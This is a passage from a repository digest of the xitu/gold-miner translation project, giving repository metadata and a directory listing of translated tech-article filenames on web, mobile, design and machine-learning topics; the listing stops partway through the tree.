Repository: xitu/gold-miner Branch: master Commit: db4f91ae0df1 Files: 2590 Total size: 28.6 MB Directory structure: gitextract_3knw1box/ ├── .github/ │ ├── CONTRIBUTING.md │ ├── ISSUE_TEMPLATE/ │ │ ├── recommendation.md │ │ └── sign_up.md │ ├── PULL_REQUEST_TEMPLATE.md │ └── workflows/ │ ├── generate-catalog.yml │ ├── stale.yml │ └── translator-application.yaml ├── .gitignore ├── AI.md ├── CODE_OF_CONDUCT.md ├── README.md ├── TODO/ │ ├── 10-best-reactjs-ui-frameworks-for-rapid-prototyping.md │ ├── 10-steps-to-better-hybrid-apps.md │ ├── 10-things-you-probably-didnt-know-about-javascript-react-and-nodejs-and-graphql-development-at-facebook.md │ ├── 101-ways-to-make-your-website-more-awesome.md │ ├── 11-things-i-learned-reading-the-flexbox-spec.md │ ├── 11-top-designers-give-11-pieces-of-realistic-ux-advice.md │ ├── 12-best-practices-for-user-account.md │ ├── 14-must-knows-for-an-ios-developer.md │ ├── 17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md │ ├── 19-things-i-learnt-reading-the-nodejs-docs.md │ ├── 2018-design-trends.md │ ├── 25-core-data-in-ios10-nspersistentcontainer.md │ ├── 3-new-css-features-to-learn-in-2017.md │ ├── 39-open-source-swift-ui-libraries-for-ios-app-development.md │ ├── 3d-force-touch-beyond-peek-pop.md │ ├── 4-must-know-tips-for-building-cross-platform-electron-apps.md │ ├── 5-not-so-obvious-things-about-rxjava.md │ ├── 5-step-life-cycle-neural-network-models-keras.md │ ├── 6-practical-skills-for-ux-designers.md │ ├── 8-key-react-component-decisions.md │ ├── Android-Studio-Tips.md │ ├── Breaking-Swift-with-reference-counted-structs.md │ ├── Cocoa-Architecture-Dropped-Design-Patterns.md │ ├── Dependency-Injection-with-Dagger-2.md │ ├── Eight-Ways-Your-Android-App-Can-Leak-Memory.md │ ├── GoogleCloudFunctions/ │ │ ├── calling-cloud-functions.md │ │ ├── catlog.md │ │ ├── command-reference.md │ │ ├── deploying-cloud-functions.md │ │ ├── getting-started.md │ │ ├── quick-starts.md │ │ ├── walkthroughs.md │ │ └── writing-cloud-functions.md │ ├── How-to-hideshow-Toolbar-when-list-is-scroling.md │ ├── Introducing-Swift 3.0.md │ ├── OAuth2 Authentication with Lua.md │ ├── Of SVG, Minification and Gzip │ ├── Optimization-killers.md │ ├── OptimizationTips.rst │ ├── Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015.md │ ├── PHP-7-Virtual-machine.md │ ├── Testing-Schemes.md │ ├── Top-5-Android-libraries-every-Android-developer-should-know-about.md │ ├── Under-the-hood-ReactJS.md │ ├── Understanding-code-signing-for-iOS-apps.md │ ├── Unit-tests-with-Mockito.md │ ├── Using-Flutter-in-China.md │ ├── What-would-be-your-advice-to-a-software-engineer-who-wants-to-learn-machine-learning.md │ ├── Yarn-A-new-package-manager-for-JavaScript.md │ ├── a-5-minute-intro-to-styled-components.md │ ├── a-beginners-guide-to-making-progressive-web-apps.md │ ├── a-beginners-guide-to-website-optimization.md │ ├── a-better-underline-for-android.md │ ├── a-blurring-view-for-android.md │ ├── a-cartoon-intro-to-webassembly.md │ ├── a-case-for-using-storyboards-on-ios.md │ ├── a-crash-course-in-assembly.md │ ├── a-crash-course-in-just-in-time-jit-compilers.md │ ├── a-day-without-javascript.md │ ├── a-detailed-guide-on-developing-android-apps-using-the-clean-architecture-pattern.md │ ├── a-dramatic-tour-through-pythons-data-visualization-landscape-including-ggplot-and-altair.md │ ├── a-fairer-vue-of-react-comparing-react-to-vue-for-dynamic-tabular-data-part-2.md │ ├── a-first-walk-into-kotlin-coroutines-on-android.md │ ├── a-follow-up-on-how-to-store-tokens-securely-in-android.md │ ├── a-functional-programmers-introduction-to-javascript-composing-software.md │ ├── a-gentle-introduction-to-self-sovereign-identity.md │ ├── a-guide-to-automating-scraping-the-web-with-javascript-chrome-puppeteer-node-js.md │ ├── a-guide-to-interviewing-for-product-design-internships.md │ ├── a-guide-to-the-google-play-console.md │ ├── a-look-back-at-the-state-of-javascript-in-2017.md │ ├── a-map-to-modern-javascript-development.md │ ├── a-mindful-design-process.md │ ├── a-primer-on-android-navigation.md │ ├── a-quick-look-at-semaphores.md │ ├── a-simple-object-model.md │ ├── a-simple-web-app-in-rust-conclusion.md │ ├── a-simple-web-app-in-rust-pt-1.md │ ├── a-simple-web-app-in-rust-pt-2a.md │ ├── a-simple-web-app-in-rust-pt-2b.md │ ├── a-simple-web-app-in-rust-pt-3.md │ ├── a-simple-web-app-in-rust-pt-4-cli-option-parsing.md │ ├── a-tinder-progressive-web-app-performance-case-study.md │ ├── a-unified-styling-language.md │ ├── after-a-year-of-nodejs-in-production.md │ ├── age-of-algorithm-human-gatekeeper.md │ ├── ajax-polling-in-react-with-redux.md │ ├── ajax-polling-part-2-sagas.md │ ├── align-svg-icons-to-text-and-say-goodbye-to-font-icons.md │ ├── all-about-concurrency-in-swift-1-the-present.md │ ├── all-about-react-router-4.md │ ├── all-you-need-to-know-about-parce.md │ ├── all-you-need-to-know-to-really-understand-the-node-js-event-loop-and-its-metrics.md │ ├── altering-javascript-frames.md │ ├── an-absolute-beginners-guide-to-swift.md │ ├── an-animated-guide-to-flexbox.md │ ├── an-exhaustive-guide-to-writing-dockerfiles-for-node-js-web-apps.md │ ├── an-introduction-to-functional-reactive-programming.md │ ├── an-introduction-to-in-app-a-b-testing.md │ ├── an-introduction-to-the-usernotifications-framework.md │ ├── an-ios-devs-experience-with-react-native.md │ ├── an-ode-to-async-await.md │ ├── an-overview-of-the-logging-ecosystem-in-2017.md │ ├── an-undervalued-blockchain-market-in-china-is-good-news-for-you.md │ ├── an-update-on-es6-modules-in-node-js.md │ ├── anatomy-of-a-function-call-in-go.md │ ├── android-app-optimization-using-arraymap-and-sparsearray.md │ ├── android-basic-project-architecture-for-mvp.md │ ├── android-data-binding-recyclerview.md │ ├── android-handler-internals.md │ ├── android-o-fonts.md │ ├── android-themes-an-in-depth-guide.md │ ├── android-why-your-canvas-shapes-arent-smooth.md │ ├── angular-jwt-authentication.md │ ├── angular-jwt.md │ ├── angular-vs-react-vs-vue-a-2017-comparison.md │ ├── angular-vs-react-which-is-better-for-web-development.md │ ├── animated-intro-rxjs.md │ ├── announcing-ant-design-3-0.md │ ├── any-web-site-can-become-a-pwa-but-we-need-to-do-better.md │ ├── applying-human-centered-design-to-emerging-technologies.md │ ├── approaching-android-with-mvvm.md │ ├── are-notifications-a-dark-pattern.md │ ├── are-the-ux-articles-youre-reading-trying-to-sell-you-something.md │ ├── artificial-intelligence-in-ux-design.md │ ├── atomic-design-how-to-design-systems-of-components.md │ ├── attract-millions-developers-product.md │ ├── audio-focus-1.md │ ├── audio-focus-2.md │ ├── audio-focus-3.md │ ├── auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md │ ├── automate-cicd-visual-app-center.md │ ├── automated-npm-releases-with-travis-ci.md │ ├── avoiding-accidental-complexity-when-structuring-your-app-state.md │ ├── avoiding-force-unwrapping-in-swift-unit-tests.md │ ├── avoiding-objc-in-swift.md │ ├── backend-api-documentation-in-swift.md │ ├── backwards-compatibility-with-ios-10-today-widgets.md │ ├── before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself.md │ ├── benchmarks-for-the-top-server-side-swift-frameworks-vs-node-js.md │ ├── best-practices-for-search-results.md │ ├── best-practices-in-designing-graphql-apis.md │ ├── better-form-design-one-thing-per-page.md │ ├── better-javascript-with-es6-pt-ii-a-deep-dive-into-classes.md │ ├── better-javascript-with-es6-pt-iii-cool-collections-slicker-strings.md │ ├── better-node-with-es6-pt-i.md │ ├── beyond-browser-web-desktop-apps.md │ ├── binary-ast-newsletter-1.md │ ├── bootstrap-considered-harmful.md │ ├── boring-design-systems.md │ ├── breaking-wpa2-by-forcubg-nonce-reuse.md │ ├── breakpoints-debugging-like-pro.md │ ├── bridging-existentials-generics-swift-2.md │ ├── bringing-Pokemon-GO-to-life-on-Google-Cloud.md │ ├── bubble-sheet-multiple-choice-scanner-and-test-grader-using-omr-python-and-opencv.md │ ├── build-a-journaling-app-with-meteor-1-3-beta-react-react-bootstrap-and-mantra.md │ ├── build-tic-tac-toe-with-ai-using-swift.md │ ├── building-a-kotlin-project-2.md │ ├── building-a-kotlin-project.md │ ├── building-a-mobile-app-with-cordova-vuejs.md │ ├── building-a-shop-with-sub-second-page-loads-lessons-learned.md │ ├── building-a-virtual-world-worthy-of-sci-fi.md │ ├── building-account-systems.md │ ├── building-an-api-gateway-using-nodejs.md │ ├── building-android-apps-30-things-that-experience-made-me-learn-the-hard-way.md │ ├── building-ar-game-arkit-spritekit.md │ ├── building-for-the-future-of-tv-with-android.md │ ├── building-interfaces-with-constraintlayout.md │ ├── building-ios-apps-with-xamarin-and-visual-studio.md │ ├── building-modern-web-applications-in-2017.md │ ├── building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md │ ├── building-react-components-for-multiple-brands-and-applications.md │ ├── building-the-web-of-things.md │ ├── building-trello-layout-css-grid-flexbox.md │ ├── buttons-in-design-systems.md │ ├── bye-bye-burger.md │ ├── can-email-be-responsive.md │ ├── check-in-frequency-and-codebase-impact-the-surprising-correlation.md │ ├── choosing-a-front-end-framework-angular-ember-react.md │ ├── choosing-right-markdown-parser.md │ ├── chrome-devtools-performance-monitor.md │ ├── chrome-devtools.md │ ├── clean-java-immutability.md │ ├── closure-capture-1.md │ ├── code-comments-the-good-the-bad-and-the-ugly.md │ ├── code-smells-in-css-revisited.md │ ├── code-splitting-with-parcel-web-app-bundler.md │ ├── collaborative-map-reduce-in-the-browser.md │ ├── comparing-the-performance-between-native-ios-swift-and-react-native.md │ ├── compile-time-vs-runtime-type-checking-swift.md │ ├── complexion-reduction-a-new-trend-in-mobile-design.md │ ├── composable-datatypes-with-functions.md │ ├── comprehensive-guide-web-design.md │ ├── comprehensive-webfonts.md │ ├── computed-properties-javascript-dependency-tracking.md │ ├── concurrent-programming.md │ ├── conditions-for-css-variables.md │ ├── confusion-subject-observable-observer-android-rxjava2-hell-part8.md │ ├── constraint-layout-animations-dynamic-constraints-ui-java-hell.md │ ├── constraint-layout-concepts-hell-tips-tricks-part-2.md │ ├── constraint-layout-hell.md │ ├── constraint-layout-visual-design-editor-hell.md │ ├── contextual-chat-bots-with-tensorflow.md │ ├── continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md │ ├── continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md │ ├── contributing-hugh-lib.md │ ├── convert-time-series-supervised-learning-problem-python.md │ ├── convincing-the-kotlin-compiler-that-code-is-safe.md │ ├── core-plot-tutorial-getting-started.md │ ├── courseras-journey-to-graphql.md │ ├── crafting-better-code-reviews.md │ ├── crafting-high-performance-tv-user.md │ ├── create-effective-push-notifications.md │ ├── create-react-app.md │ ├── create-simple-blockchain-java-tutorial-from-scratch.md │ ├── create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md │ ├── create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md │ ├── create-your-first-ethereum-dapp-with-web3-and-vue-js.md │ ├── creating-accessible-react-apps.md │ ├── creating-an-html5-game-bot-using-python.md │ ├── creating-and-working-with-webassembly-modules.md │ ├── creating-highly-modular-android-apps.md │ ├── creating-usability-with-motion-the-ux-in-motion-manifesto.md │ ├── creating-your-first-blockchain-with-java-part-2-transactions.md │ ├── creating-your-first-desktop.md │ ├── csrf-is-dead.md │ ├── css-architecture.md │ ├── css-grid-supporting-browsers-without-grid.md │ ├── css-hex-colors-demystified.md │ ├── css-in-javascript-the-future-of-component-based-styling.md │ ├── css-inheritance-cascade-global-scope-new-old-worst-best-friends.md │ ├── css-is-fine-its-just-really-hard.md │ ├── css-naming-conventions-that-will-save-you-hours-of-debugging.md │ ├── css-writing-mode.md │ ├── csv-injection.md │ ├── dark-side-of-ui-benefits-of-dark-background.md │ ├── data-analytics-with-python-by-web-scraping-illustration-with-cia-world-factbook.md │ ├── data-flow-in-vue-and-vuex.md │ ├── dealing-with-complex-table-views-in-ios-and-keeping-your-sanity.md │ ├── dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation.md │ ├── debugging-nodejs-in-chrome-devtools.md │ ├── debugging-swift-code-with-lldb.md │ ├── debugging-tips-tricks.md │ ├── declarative-api-design-in-swift.md │ ├── deconstructing-the-poor-design-of-a-well-intentioned-microinteraction.md │ ├── deep-learning-1-setting-up-aws-image-recognition.md │ ├── deep-learning-2-convolutional-neural-networks.md │ ├── deep-learning-3-more-on-cnns-handling-overfitting.md │ ├── deep-learning-4-embedding-layers.md │ ├── design-at-1x-its-a-fact.md │ ├── design-better-data-tables.md │ ├── design-doesnt-scale.md │ ├── design-for-internationalization.md │ ├── design-is-mainly-about-empathy.md │ ├── design-like-a-developer.md │ ├── design-principle-aesthetics.md │ ├── design-principle-consistency.md │ ├── design-principles-behind-great-products.md │ ├── design-principles-what-to-do-when-nobody-is-using-your-feature.md │ ├── design-thinking-not-just-another-buzzword.md │ ├── design-words-with-data.md │ ├── design-your-app-for-decision-making.md │ ├── designers-problem.md │ ├── designers-should-write.md │ ├── designing-a-product-youre-not-going-to-use.md │ ├── designing-anticipated-user-experiences.md │ ├── designing-better-tables-for-enterprise-applications.md │ ├── designing-design-system-for-complex-products.md │ ├── designing-html-apis.md │ ├── designing-in-app-survey.md │ ├── designing-the-icons-for-flinto-s-ui.md │ ├── designing-the-new-uber-app.md │ ├── designing-websites-for-iphone-x.md │ ├── detect-bots-apache-nginx-logs.md │ ├── detecting-incoming-phone-calls-in-android.md │ ├── detecting-low-power-mode.md │ ├── develop-your-first-application-with-flutter.md │ ├── developers-are-users-too-introduction.md │ ├── developers-are-users-too-part-1.md │ ├── developers-are-users-too-part-2.md │ ├── developing-games-with-react-redux-and-svg-part-1.md │ ├── developing-small-javascript-components-without-frameworks.md │ ├── dialogue-rx-observable-developer-android-rxjava2-hell-part5.md │ ├── disassembling-javascripts-iife-syntax.md │ ├── distributed-logging-architecture-in-the-container-era.md │ ├── distributing-react-components.md │ ├── dont-fear-the-rebase.md │ ├── dont-use-automatic-image-sliders-or-carousels.md │ ├── dos-and-don-ts-of-web-design.md │ ├── double-stuffed-security-in-android-oreo.md │ ├── dragging-react-performance-forward.md │ ├── dropouts-need-not-apply-silicon-valley-asks-mostly-for-developers-with-degrees.md │ ├── effective-environment-switching-in-ios.md │ ├── effective-java-for-android-cheatsheet.md │ ├── effective-okhttp.md │ ├── efficient-iOS-version-checking.md │ ├── elasticsearch-rolling-upgrades.md │ ├── embedding-lua-in-the-web.md │ ├── embracing-java-8-language-features.md │ ├── empathy-and-ux-design.md │ ├── empty-state-mobile-app-nice-to-have-essential.md │ ├── enabling-proguard-in-an-android-instant-app.md │ ├── enhancing-css-layout-floats-flexbox-grid.md │ ├── error-handling-in-rxjava.md │ ├── es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md │ ├── es6-private-members.md │ ├── es6.md │ ├── es8-was-released-and-here-are-its-main-new-features.md │ ├── eslint-migrating-to-4.0.0.md │ ├── essential-guide-for-designing-your-android-app-architecture-mvp-part-2.md │ ├── essential-guide-for-designing-your-android-app-architecture-mvp-part-3.md │ ├── essential-guide-for-designing-your-android-app-architecture-mvp-part.md │ ├── even-fibonacci-numbers-python-vs-javascript.md │ ├── everyone-is-a-designer-get-over-it.md │ ├── everything-you-need-to-know-about-css-variables.md │ ├── evolving-the-facebook-news-feed-to-serve-you-better.md │ ├── explain-activity-launch-mode-with-examples.md │ ├── exploring-es7-decorators.md │ ├── exploring-firebase-on-android-ios-analytics.md │ ├── exploring-firebase-on-android-ios-remote-config.md │ ├── exploring-kotlins-hidden-costs-part-1.md │ ├── exploring-kotlins-hidden-costs-part-2.md │ ├── exploring-kotlins-hidden-costs-part-3.md │ ├── exploring-the-product.md │ ├── express-js-and-aws-lambda-a-serverless-love-story.md │ ├── facebook-content-placeholder-deconstruction.md │ ├── facebook-open-sources-detectron.md │ ├── familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md │ ├── fast-properties-in-v8.md │ ├── faster-more-reliable-ci-builds-with-yarn.md │ ├── faster-photos-in-facebook-for-ios.md │ ├── finally-understanding-how-references-work-in-android-and-java.md │ ├── fingerprinting-and-audio-recognition-with-python.md │ ├── five-things-you-can-do-with-yarn.md │ ├── five-tips-for-working-with-redux-in-large-applications.md │ ├── five-tips-to-improve-your-games-as-a-service-monetization.md │ ├── flat-ui-less-attention-cause-uncertainty.md │ ├── flatbuffers-in-android-introdution.md │ ├── floating-action-button-in-ux-design.md │ ├── floating-label-no-js-pure-css.md │ ├── flutter-5-reasons-why-you-may-love-it.md │ ├── flutter-for-javascript-developers.md │ ├── flying-solo-with-android-development.md │ ├── force-with-lease.md │ ├── form-design-for-complex-applications.md │ ├── forms-need-validation.md │ ├── freemium-conversion-rate/ │ │ └── freemium-conversion-rate.md │ ├── from-a-react-point-of-vue-comparing-reactjs-to-vuejs-for-dynamic-tabular-data.md │ ├── from-app-explorer-to-first-time-buyer.md │ ├── from-automatons-to-deep-learning.md │ ├── from-form-to-function-our-thoughts-on-design-are-changing.md │ ├── from-functional-java-to-functioning-kotlin.md │ ├── from-product-design-to-virtual-reality.md │ ├── front-end-developers-guide-graphql.md │ ├── front-end-performance-checklist-2018-1.md │ ├── front-end-performance-checklist-2018-2.md │ ├── front-end-performance-checklist-2018-3.md │ ├── front-end-performance-checklist-2018-4.md │ ├── frontend-in-2017-the-important-parts.md │ ├── function-as-child-components.md │ ├── function-caller-considered-harmful.md │ ├── function-naming-in-swift-3.md │ ├── functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md │ ├── functional-mixins-composing-software.md │ ├── functional-programming-for-android-developers-part-1.md │ ├── functional-programming-for-android-developers-part-2.md │ ├── functional-programming-for-android-developers-part-3.md │ ├── functional-programming-in-javascript-is-an-antipattern.md │ ├── functional-setstate-is-the-future-of-react.md │ ├── functors-categories.md │ ├── future-front-end-web-development.md │ ├── gang-of-four-patterns-in-kotlin.md │ ├── generative-research-ux.md │ ├── generic-data-sources-in-swift.md │ ├── gentle-introduction-to-functional-javascript-intro.md │ ├── genuine-guide-to-testing-react-redux-applications.md │ ├── geolocation-using-multiple-services.md │ ├── get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md │ ├── get-started-tensorflow.md │ ├── getting-started-with-elasticsearch.md │ ├── getting-started-with-jrebel-for-android.md │ ├── getting-started-with-retrofit.md │ ├── getting-the-login-page-right.md │ ├── getting-to-swift-3-at-airbnb.md │ ├── go-function-calls-redux.md │ ├── golden-guidelines-for-writing-clean-css.md │ ├── good-swift-bad-swift-part-1.md │ ├── good-swift-bad-swift-part-2.md │ ├── google-design.md │ ├── google.interview.university.md │ ├── graphql-vs-rest.md │ ├── growing-popularity-atomic-css.md │ ├── guide-to-interviewing-for-product-design-internships.md │ ├── guide-to-ux-sketching.md │ ├── handling-scrolls-with-coordinatorlayout.md │ ├── handmade-svg-bar-chart-featuring-svg-positioning-gotchas.md │ ├── high-level-reactivity.md │ ├── higher-order-functions-composing-software.md │ ├── hot-vs-cold-observables.md │ ├── how-a-template-engine-works.md │ ├── how-apple.md │ ├── how-can-i-use-css-in-js-securely.md │ ├── how-chat-bots-work.md │ ├── how-color-affects-ux-and-behavior.md │ ├── how-do-promises-work.md │ ├── how-does-redux-work.md │ ├── how-google-builds-a-web-framework.md │ ├── how-i-built-a-web-server-using-go-and-on-chromeos.md │ ├── how-i-do-developer-ux-at-google.md │ ├── how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba │ ├── how-i-used-stack-overflow-github-to-get-dream-job-before-19-without-degree.md │ ├── how-ios-apps-on-the-mac-could-work.md │ ├── how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md │ ├── how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md │ ├── how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md │ ├── how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md │ ├── how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md │ ├── how-modern-web-browsers-accelerate-performance-the-networking-layer.md │ ├── how-not-to-crash-1.md │ ├── how-protocol-oriented-programming-in-swift-saved-my-day.md │ ├── how-should-i-separate-components.md │ ├── how-switching-our-domain-structure-unlocked-international-growth.md │ ├── how-the-heck-does-async-await-work-in-python-3-5.md │ ├── how-to-achieve-reusability-with-react-components.md │ ├── how-to-be-a-compiler-make-a-compiler-with-javascript.md │ ├── how-to-become-an-ios-developer-bob.md │ ├── how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-three.md │ ├── how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-two.md │ ├── how-to-build-a-news-website-layout-with-flexbox.md │ ├── how-to-build-a-reactive-engine-in-javascript-part-1-observable-objects.md │ ├── how-to-build-a-spritekit-game-in-swift-3-part-1.md │ ├── how-to-build-a-spritekit-game-in-swift-3-part-2.md │ ├── how-to-build-a-spritekit-game-in-swift-3-part-3.md │ ├── how-to-build-and-publish-es6-modules-today-with-babel-and-rollup.md │ ├── how-to-build-mobile-games-with-people-in-mind.md │ ├── how-to-cancel-your-promise.md │ ├── how-to-communicate-hidden-gestures-in-mobile-app.md │ ├── how-to-configure-nginx-for-a-flask-web-application.md │ ├── how-to-craft-mobile-notifications-that-users-actually-want.md │ ├── how-to-create-a-bubble-selection-animation-on-android.md │ ├── how-to-create-a-front-end-framework-with-sketch.md │ ├── how-to-debug-front-end-console.md │ ├── how-to-design-notifications-for-better-ux.md │ ├── how-to-design-words.md │ ├── how-to-disable-links.md │ ├── how-to-do-proper-tree-shaking-in-webpack-2.md │ ├── how-to-generate-haptic-feedback-with-uifeedbackgenerator.md │ ├── how-to-get-the-most-out-of-the-javascript-console.md │ ├── how-to-go-from-hobbyist-to-professional-developer.md │ ├── how-to-handle-imbalanced-classes-in-machine-learning.md │ ├── how-to-implement-expandable-menu-on-ios-like-in-airbnb.md │ ├── how-to-improve-quality-and-syntax-of-your-android-code.md │ ├── how-to-javascript-in-2018.md │ ├── how-to-leak-memory-with-subscriptions-in-rxjava.md │ ├── how-to-make-a-chart-using-ajax-rest-apis.md │ ├── how-to-make-your-not-so-great-visual-design-better.md │ ├── how-to-make-your-react-app-fully-functional-fully-reactive-and-able-to-handle-all-those-crazy.md │ ├── how-to-make-your-react-native-app-respond-gracefully-when-the-keyboard-pops-up.md │ ├── how-to-pretend-youre-a-great-designer.md │ ├── how-to-set-up-a-continuous-integration-server-for-android-development-ubuntu-jenkins-sonarqube.md │ ├── how-to-start-with-backend-typescript-and-use-its-full-potential.md │ ├── how-to-stop-online-harassment.md │ ├── how-to-test-a-singleton-in-an-android-service-2.md │ ├── how-to-test-a-singleton-in-an-android-service-one.md │ ├── how-to-use-a-model-view-viewmodel-architecture-for-ios.md │ ├── how-to-use-colors-in-ui-design.md │ ├── how-to-use-generators.md │ ├── how-to-write-a-javascript-package-for-both-node-and-the-browser.md │ ├── how-to-write-a-perfect-error-message.md │ ├── how-to-write-dockerfiles-for-python-web-apps.md │ ├── how-to-write-high-performance-code-in-golang-using-go-routines.md │ ├── how-to-write-low-garbage-real-time-javascript.md │ ├── how-vr-is-changing-ux-from-prototyping-to-device-design.md │ ├── how-we-created-bubblepicker-a-colourful-animation-for-android.md │ ├── how-we-css-at-bigcommerce.md │ ├── how-we-use-bem-to-modularise-our-css.md │ ├── how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md │ ├── how-you-can-decrease-application-size-by-60-in-only-5-minutes.md │ ├── how_to_draw.md │ ├── http2-for-web-developers.md │ ├── https-medium-com-alexstyl-animating-the-toolbar.md │ ├── i-interviewed-at-five-top-companies-in-silicon-valley-in-five-days-and-luckily-got-five-job-offers.md │ ├── i-m-a-web-developer-and-i-ve-been-stuck-with-the-simplest-app-for-the-last-10-days.md │ ├── ibeacon-in-swift.md │ ├── ibm-is-becoming-the-worlds-largest-design-company.md │ ├── if-i-have-one-month-to-learn-ios-how-would-i-spend-it.md │ ├── im-not-a-ux-designer-and-neither-are-you.md │ ├── image-upload-manipulation-react.md │ ├── immutable-models-and-data-consistency-our-ios-app.md │ ├── implementation-of-convolutional-neural-network-using-python-and-keras.md │ ├── implementing-delegates-in-swift-step-by-step.md │ ├── improve-web-typography-css-font-size-adjust.md │ ├── improving-perceived-performance-with-multiple-background-images.md │ ├── improving-performance-with-background-data-prefetching.md │ ├── improving-swift-compile-times.md │ ├── increasing-attacker-cost-using-immutable-infrastructure.md │ ├── incrementally-migrate-from-sqlite-to-room.md │ ├── ink-transition-effect.md │ ├── intro-to-swift-functional-programming-with-bob.md │ ├── introducing-design-systems-ops.md │ ├── introducing-pokedex-org/ │ │ └── introducing-pokedex-org.md │ ├── introducing-redux-recompose.md │ ├── introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md │ ├── introduction-nginscript.md │ ├── introduction-to-node-express.md │ ├── introduction-to-protocol-oriented-programming-in-swift.md │ ├── intuitive-design-vs-shareable-design.md │ ├── ios-11-machine-learning-for-everyone.md │ ├── ios-11-notable-uikit-additions.md │ ├── ios-9-tutorial-series-protocol-oriented-programming-with-uikit.md │ ├── ios-custom-modality.md │ ├── is-this-my-interface-or-yours.md │ ├── is-this-the-perfect-save-icon.md │ ├── is-vanilla-javascript-worth-learning-absolutely.md │ ├── its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md │ ├── jQuery-Tips-Everyone-Should-Know.md │ ├── java-8-in-android-n-preview.md │ ├── javascript-debugging-tips.md │ ├── javascript-developer-survey-results.md │ ├── javascript-es6-var-let-or-const.md │ ├── javascript-factory-functions-with-es6.md │ ├── javascript-firefox-debugger.md │ ├── javascript-monads-made-simple.md │ ├── javascript-package-managers.md │ ├── javascript-start-up-performance.md │ ├── javascript-testing-unit-functional-integration.md │ ├── javascript-what-the-heck-is-a-callback.md │ ├── jquery-3-0-final-released.md │ ├── js-things-i-never-knew-existed.md │ ├── json-javascript-object-notation.md │ ├── keep-webpack-fast-a-field-guide-for-better-build-performance.md │ ├── kerning.md │ ├── kotlin-its-the-little-things.md │ ├── lazy-loading-images-dont-rely-on-javascript.md │ ├── learn-blockchains-by-building-one.md │ ├── learn-css-flexbox-in-3-minutes.md │ ├── learning-how-to-set-up-automated-cross-browser-javascript-unit-testing.md │ ├── learning-javascript-9-common-mistakes.md │ ├── learning-react-js-is-easier-than-you-think.md │ ├── lecture-1-what-is-product-design.md │ ├── less-coding-guidelines.md │ ├── lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md │ ├── leveling-up-your-javascript.md │ ├── life-after-js-learning-2nd-language.md │ ├── life-without-interface-builder.md │ ├── little-big-details-for-your-mobile-app.md │ ├── lost-in-translation-the-importance-of-visual-design-localisation.md │ ├── love-letter-css.md │ ├── macOS-Security-and-Privacy-Guide.md │ ├── machine-learning-for-android-developers-with-the-mobile-vision-api-part-1-face-detection.md │ ├── make-memory-management-great-again.md │ ├── make-node-js-core-bigger.md │ ├── make-or-break-with-gradle.md │ ├── make-react-fast-again-tools-and-techniques-for-speeding-up-your-react-app.md │ ├── making-magic-with-websockets-and-css3.md │ ├── making-photos-smaller.md │ ├── making-react-native-apps-accessible.md │ ├── making-sense-of-ethereums-layer-2-scaling-solutions-state-channels-plasma-and-truebit.md │ ├── making-svg-icon-libraries-for-react-apps │ ├── making-the-most-of-the-apk-analyzer.md │ ├── making-the-web-more-accessible-with-ai.md │ ├── managing-css-js-http-2.md │ ├── managing-resources-for-large-scale-testing.md │ ├── mastering-swift-essential-details-about-strings.md │ ├── material-design-prototype-tutorial-part-1.md │ ├── media-query-units.md │ ├── meet-michelangelo-ubers-mechine-learning-plantform.md │ ├── meet-the-new-dialog-element.md │ ├── messaging-sync-scaling-mobile-messaging-at-airbnb.md │ ├── metaprogramming-in-es6-part-2-reflect.md │ ├── metaprogramming-in-es6-part-3-proxies.md │ ├── metaprogramming-in-es6-symbols.md │ ├── migrating-an-android-project-to-kotlin.md │ ├── migrating-mediastyle-notifications-to-support-android-o.md │ ├── million-requests-per-second-with-python.md │ ├── mobile-design-best-practices.md │ ├── mobile-friendly.md │ ├── mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md │ ├── mocking-is-a-code-smell.md │ ├── modelling-state-in-swift.md │ ├── modern-javascript-for-ancient-web-developers.md │ ├── modernization-reactivity.md │ ├── modules-vs-microservices.md │ ├── mosby3-mvi-3.md │ ├── mosby3-mvi-4.md │ ├── mosby3-mvi-5.md │ ├── mosby3-mvi-6.md │ ├── mosby3-mvi.md │ ├── motion-in-ux-design-9-points-to-get-started.md │ ├── moving-a-large-and-old-codebase-to-python3.md │ ├── moving-existing-api-from-rest-to-graphql.md │ ├── multithreading-with-rxjava-dadddc.md │ ├── must-see-javascript-dev-tools-that-put-other-dev-tools-to-shame.md │ ├── mvvm-with-flow-controller-first-step.md │ ├── mvvmc-with-swift.md │ ├── my-least-favorite-thing-about-swift.md │ ├── mysql-migration.md │ ├── native-modules-for-react-native-android.md │ ├── natural-language-processing-made-easy-using-spacy-in-python.md │ ├── neo-project-docs-consensus.md │ ├── nested-ternaries-are-great.md │ ├── neural-networks-from-scratch-in-r.md │ ├── new-android-injector-with-dagger-2-part-1.md │ ├── new-android-injector-with-dagger-2-part-2.md │ ├── new-android-injector-with-dagger-2-part-3.md │ ├── new-in-python-3.7.md │ ├── next-generation-3d-graphics-on-the-web.md │ ├── 